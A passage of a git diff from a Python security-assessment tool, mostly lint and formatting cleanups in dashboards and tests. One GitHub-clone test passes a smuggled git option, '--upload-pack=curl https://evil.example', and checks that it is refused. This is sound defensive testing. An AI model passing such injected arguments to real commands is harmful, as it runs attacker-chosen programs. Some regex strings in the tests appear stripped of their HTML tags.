ACTIVE_STATUSES, + blocked_hint, + elapsed_seconds, + run_steps, +) from secfoo.web.templating import templates router = APIRouter() diff --git a/src/secfoo/web/sast_dashboard.py b/src/secfoo/web/sast_dashboard.py index 294336e..22034b1 100644 --- a/src/secfoo/web/sast_dashboard.py +++ b/src/secfoo/web/sast_dashboard.py @@ -13,7 +13,7 @@ from collections import Counter from dataclasses import dataclass, field -from secfoo.report.sast import SKILL_ID +from secfoo.report.sast import SKILL_ID # noqa: F401 -- re-exported for web.routes.activities from secfoo.storage.models import SastFindingRecord from secfoo.storage.repository import RunRepository diff --git a/src/secfoo/web/sca_dashboard.py b/src/secfoo/web/sca_dashboard.py index 542ca0d..b55fc5e 100644 --- a/src/secfoo/web/sca_dashboard.py +++ b/src/secfoo/web/sca_dashboard.py @@ -16,8 +16,8 @@ from dataclasses import dataclass, field from secfoo import osv -from secfoo.report.sca import SKILL_ID from secfoo.report.sca import ( + SKILL_ID, extract_cve_by_dependency_id, extract_narrative_by_dependency_id, extract_risk_register_rows, diff --git a/src/secfoo/web/templating.py b/src/secfoo/web/templating.py index 185585b..a5bec1d 100644 --- a/src/secfoo/web/templating.py +++ b/src/secfoo/web/templating.py @@ -299,7 +299,7 @@ def active_run_count() -> int: try: with RunRepository() as repo: return len(repo.list_runs(status="running", limit=100)) - except Exception: + except Exception: # noqa: BLE001 -- top-bar live indicator must never break page rendering return 0 diff --git a/src/secfoo/web/third_party_dashboard.py b/src/secfoo/web/third_party_dashboard.py index 174c6d4..4fef08b 100644 --- a/src/secfoo/web/third_party_dashboard.py +++ b/src/secfoo/web/third_party_dashboard.py @@ -15,7 +15,11 @@ from dataclasses import dataclass, field -from secfoo.report.architecture import CCM_DOMAINS, conformance_to_score, extract_ccm_conformance +from secfoo.report.architecture import ( + CCM_DOMAINS, + conformance_to_score, + extract_ccm_conformance, +) from secfoo.storage.repository import RunRepository from secfoo.web.dashboard_common import read_report diff --git a/src/secfoo/web/threat_modeling_dashboard.py b/src/secfoo/web/threat_modeling_dashboard.py index de5475d..9b767f2 100644 --- a/src/secfoo/web/threat_modeling_dashboard.py +++ b/src/secfoo/web/threat_modeling_dashboard.py @@ -24,7 +24,11 @@ extract_threat_register_rows, ) from secfoo.storage.repository import RunRepository -from secfoo.web.dashboard_common import append_boundary_changed_projects, percentile, read_report +from secfoo.web.dashboard_common import ( + append_boundary_changed_projects, + percentile, + read_report, +) SKILL_ID = "threat-modeling" diff --git a/src/secfoo/web/top_findings.py b/src/secfoo/web/top_findings.py index 6dd6adb..1fd8643 100644 --- a/src/secfoo/web/top_findings.py +++ b/src/secfoo/web/top_findings.py @@ -21,7 +21,12 @@ from secfoo import cvss from secfoo.report.architecture import _extract_section, extract_threat_register_rows from secfoo.storage.repository import RunRepository -from secfoo.web import sast_dashboard, sca_dashboard, secret_scanning_dashboard, third_party_dashboard +from secfoo.web import ( + sast_dashboard, + sca_dashboard, + secret_scanning_dashboard, + third_party_dashboard, +) from secfoo.web.dashboard_common import read_report _SEVERITY_RANK = {"critical": 4, "high": 3, "medium": 2, "low": 1} diff --git a/tests/test_memory.py b/tests/test_memory.py index 9ec377a..1b137f6 100644 --- a/tests/test_memory.py +++ b/tests/test_memory.py @@ -7,6 +7,7 @@ import stat import urllib.error from io import BytesIO +from typing import ClassVar import pytest @@ -165,7 +166,7 @@ class _CapturingAdapter(AgentAdapter): name = "fake" binary = "fake-binary" default_timeout_seconds = 30 - prompts: list[str] = [] + prompts: ClassVar[list[str]] = [] def build_command(self, prompt, *, workdir): return ["fake-binary"] diff --git a/tests/test_runner.py b/tests/test_runner.py index 1e4f2e8..366ea7d 100644 --- a/tests/test_runner.py +++ b/tests/test_runner.py @@ -636,7 +636,6 @@ def test_execute_runs_enriches_osv_cache_for_sca_reachability_runs(tmp_path, mon def test_execute_runs_does_not_enrich_osv_for_non_sca_skills(tmp_path, monkeypatch): _patch_runner(monkeypatch, tmp_path) - calls = [] monkeypatch.setattr( "secfoo.osv.urllib.request.urlopen", lambda request, timeout=None: (_ for _ in ()).throw(AssertionError("must not call OSV for non-SCA skills")), diff --git a/tests/test_storage/test_assessments.py b/tests/test_storage/test_assessments.py index cae345d..e6d48b3 100644 --- a/tests/test_storage/test_assessments.py +++ b/tests/test_storage/test_assessments.py @@ -652,7 +652,7 @@ def test_architecture_coverage_in_scope_requires_an_assessment(tmp_path): repo = _repo(tmp_path) reviewed_project = repo.upsert_project("id-1", "Reviewed", "local") unreviewed_project = repo.upsert_project("id-2", "Unreviewed", "local") - no_assessment_project = repo.upsert_project("id-3", "NoAssessment", "local") + repo.upsert_project("id-3", "NoAssessment", "local") repo.create_assessment(project_id=reviewed_project, assessment_type="internal", status="ready") repo.create_assessment(project_id=unreviewed_project, assessment_type="internal", status="ready") diff --git a/tests/test_storage/test_structured_findings_storage.py b/tests/test_storage/test_structured_findings_storage.py index 9c6f661..03de4d3 100644 --- a/tests/test_storage/test_structured_findings_storage.py +++ b/tests/test_storage/test_structured_findings_storage.py @@ -43,10 +43,16 @@ def test_sca_finding_lifecycle_open_refresh_close(tmp_path): def test_secret_finding_reopens_and_keeps_first_seen(tmp_path): repo = RunRepository(db_path=tmp_path / "db.sqlite") project_id, run_id = _project_and_run(repo) - kwargs = dict( - project_id=project_id, fingerprint="s1", run_id=run_id, current_ref="S1", secret_type="API token", - location_file="deploy/ci.yml", severity="High", evidence="TOKENJ4F...", - ) + kwargs = { + "project_id": project_id, + "fingerprint": "s1", + "run_id": run_id, + "current_ref": "S1", + "secret_type": "API token", + "location_file": "deploy/ci.yml", + "severity": "High", + "evidence": "TOKENJ4F...", + } repo.upsert_secret_finding(**kwargs) first_seen = repo.list_secret_findings()[0].first_seen_at repo.close_stale_findings( @@ -112,8 +118,14 @@ def test_complete_run_records_memory_flag(tmp_path): untouched = repo.create_run( project_id=project_id, skill_id="sast", skill_name="SAST", agent_id="claude", confluence_urls=[] ) - common = dict(status="success", exit_code=0, duration_seconds=1.0, report_path=None, prompt_path=None, - stderr_excerpt=None) + common = { + "status": "success", + "exit_code": 0, + "duration_seconds": 1.0, + "report_path": None, + "prompt_path": None, + "stderr_excerpt": None, + } repo.complete_run(on, memory_enabled=True, **common) repo.complete_run(off, memory_enabled=False, **common) repo.complete_run(untouched, **common) diff --git a/tests/test_targets/test_github.py b/tests/test_targets/test_github.py index d4b21f2..078fa95 100644 --- a/tests/test_targets/test_github.py +++ b/tests/test_targets/test_github.py @@ -35,10 +35,9 @@ def fake_run(cmd, **kwargs): monkeypatch.setattr("secfoo.targets.github.subprocess.run", fake_run) captured: dict[str, Path] = {} - with pytest.raises(RuntimeError): - with clone_shallow("https://github.com/org/repo") as path: - captured["dir"] = path - raise RuntimeError("boom") + with pytest.raises(RuntimeError), clone_shallow("https://github.com/org/repo") as path: + captured["dir"] = path + raise RuntimeError("boom") assert not captured["dir"].exists() @@ -49,9 +48,8 @@ def fake_run(cmd, **kwargs): monkeypatch.setattr("secfoo.targets.github.subprocess.run", fake_run) - with pytest.raises(TargetResolutionError): - with clone_shallow("https://github.com/org/nope"): - pass + with pytest.raises(TargetResolutionError), clone_shallow("https://github.com/org/nope"): + pass def test_clone_shallow_surfaces_disk_full_with_actionable_message(monkeypatch): @@ -64,9 +62,8 @@ def fake_run(cmd, **kwargs): monkeypatch.setattr("secfoo.targets.github.subprocess.run", fake_run) - with pytest.raises(TargetResolutionError, match="disk full"): - with clone_shallow("https://github.com/org/repo"): - pass + with pytest.raises(TargetResolutionError, match="disk full"), clone_shallow("https://github.com/org/repo"): + pass def test_clone_shallow_refuses_a_non_github_url_without_calling_git(monkeypatch): @@ -74,6 +71,7 @@ def test_clone_shallow_refuses_a_non_github_url_without_calling_git(monkeypatch) "secfoo.targets.github.subprocess.run", lambda *args, **kwargs: (_ for _ in ()).throw(AssertionError("git must not run")), ) - with pytest.raises(TargetResolutionError, match="refusing to clone"): - with clone_shallow("--upload-pack=curl https://evil.example"): - pass + with pytest.raises(TargetResolutionError, match="refusing to clone"), clone_shallow( + "--upload-pack=curl https://evil.example" + ): + pass diff --git a/tests/test_web/test_activity_routes.py b/tests/test_web/test_activity_routes.py index ac606fb..6807391 100644 --- a/tests/test_web/test_activity_routes.py +++ b/tests/test_web/test_activity_routes.py @@ -108,7 +108,7 @@ def test_sidebar_marks_exactly_the_active_activity(client): resp = client.get("/activities/sast") # Links lead with an inline icon, so match through to . - links = re.findall(r'', resp.text, re.S) + links = re.findall(r'', resp.text, re.DOTALL) active = [re.sub(r"\s+", " ", link) for link in links if "aria-current" in link] assert len(active) == 1, f"expected exactly one active link, got {active}" assert 'href="/activities/sast"' in active[0] @@ -279,11 +279,11 @@ def test_architecture_activity_page_shows_one_diagram_at_a_time_with_a_project_s def test_architecture_activity_page_diagram_selector_switches_on_query_param(client, tmp_path): - _, run_a = _seed_run_with_report( + _seed_run_with_report( tmp_path, skill_id="security-architecture-review", project_name="acme/app-a", report_text=ARCHITECTURE_REPORT, ) - project_b, run_b = _seed_run_with_report( + project_b, _run_b = _seed_run_with_report( tmp_path, skill_id="security-architecture-review", project_name="acme/app-b", report_text=SECOND_ARCHITECTURE_REPORT, ) diff --git a/tests/test_web/test_architecture_review_status.py b/tests/test_web/test_architecture_review_status.py index a96133a..d881590 100644 --- a/tests/test_web/test_architecture_review_status.py +++ b/tests/test_web/test_architecture_review_status.py @@ -75,8 +75,8 @@ def test_by_project_ends_with_each_projects_review_status(client, tmp_path): assert header[-1] == "Review status" def status_of(name: str) -> str: - row = re.search(rf"]*>(?:(?!).)*{re.escape(name)}(?:(?!).)*", table, re.S).group(0) - cells = re.findall(r"]*>(.*?)", row, re.S) + row = re.search(rf"]*>(?:(?!).)*{re.escape(name)}(?:(?!).)*", table, re.DOTALL).group(0) + cells = re.findall(r"]*>(.*?)", row, re.DOTALL) return re.sub(r"<[^>]+>", "", cells[-1]).strip() assert status_of("acme/current") == "Current" diff --git a/tests/test_web/test_assessment_routes.py b/tests/test_web/test_assessment_routes.py index e0f90ac..f096a2d 100644 --- a/tests/test_web/test_assessment_routes.py +++ b/tests/test_web/test_assessment_routes.py @@ -409,7 +409,7 @@ def test_create_then_run_flow_end_to_end(client, tmp_path): def test_trigger_run_calls_execute_runs_with_expected_args(monkeypatch, client): - project_id, assessment_id = _create_assessment() + _project_id, assessment_id = _create_assessment() monkeypatch.setattr("secfoo.web.routes.assessments.threading.Thread", _SyncThread) captured = {} diff --git a/tests/test_web/test_routes.py b/tests/test_web/test_routes.py index b998013..4262bf9 100644 --- a/tests/test_web/test_routes.py +++ b/tests/test_web/test_routes.py @@ -66,7 +66,7 @@ def test_overview_empty_state(client): def test_overview_lists_recent_assessment(client, tmp_path): - project_id, run_uuid = _seed_run(tmp_path) + project_id, _run_uuid = _seed_run(tmp_path) repo = RunRepository() repo.create_assessment(project_id=project_id, assessment_type="internal", status="ready") repo.close() diff --git a/tests/test_web/test_sast_finding_route.py b/tests/test_web/test_sast_finding_route.py index a5c10b1..373e97a 100644 --- a/tests/test_web/test_sast_finding_route.py +++ b/tests/test_web/test_sast_finding_route.py @@ -101,7 +101,7 @@ def test_sast_findings_list_shows_open_findings_by_default(client): def test_sast_findings_list_closed_tab_shows_closed_findings(client): - project_id, fingerprint = _seed_finding() + project_id, _fingerprint = _seed_finding() repo = RunRepository() repo.close_stale_sast_findings( project_id=project_id, run_id=1, seen_fingerprints=[], closed_at="2026-08-22T00:00:00Z" @@ -125,8 +125,8 @@ def test_sast_findings_list_search_filters_findings(client): def test_sast_findings_list_filters_by_project(client): - project_a, fp_a = _seed_finding(project_name="acme/app-a", fingerprint="fp-a", title="Finding in app A") - project_b, fp_b = _seed_finding(project_name="acme/app-b", fingerprint="fp-b", title="Finding in app B") + project_a, _fp_a = _seed_finding(project_name="acme/app-a", fingerprint="fp-a", title="Finding in app A") + _seed_finding(project_name="acme/app-b", fingerprint="fp-b", title="Finding in app B") resp = client.get(f"/activities/sast/findings?project_id={project_a}") assert "Finding in app A" in resp.text diff --git a/tests/test_web/test_widget_info_tips.py b/tests/test_web/test_widget_info_tips.py index 57d14b4..373fda7 100644 --- a/tests/test_web/test_widget_info_tips.py +++ b/tests/test_web/test_widget_info_tips.py @@ -60,7 +60,7 @@ def _seed(tmp_path, project: str, depth: str) -> None: def test_every_threat_modeling_widget_has_an_info_tip(client, tmp_path): _seed(tmp_path, "acme/app", "Lightweight") html = client.get("/activities/threat-modeling").text - tips = re.findall(r'
.*?
', html, re.S) + tips = re.findall(r'
.*?
', html, re.DOTALL) titles = [re.search(r'

([^<]*)

', t).group(1) for t in tips] # The activity page also shows the generic severity card under the # program dashboard. Architecture, SAST, SCA, and secret scanning hide it. @@ -119,7 +119,7 @@ def test_long_lists_scroll_after_ten_rows(): def _assert_titled_tips(page: str, expected: list[str]) -> None: - tips = re.findall(r'
.*?
', page, re.S) + tips = re.findall(r'
.*?
', page, re.DOTALL) titles = [ html.unescape(re.search(r'

([^<]*)

', tip).group(1)) for tip in tips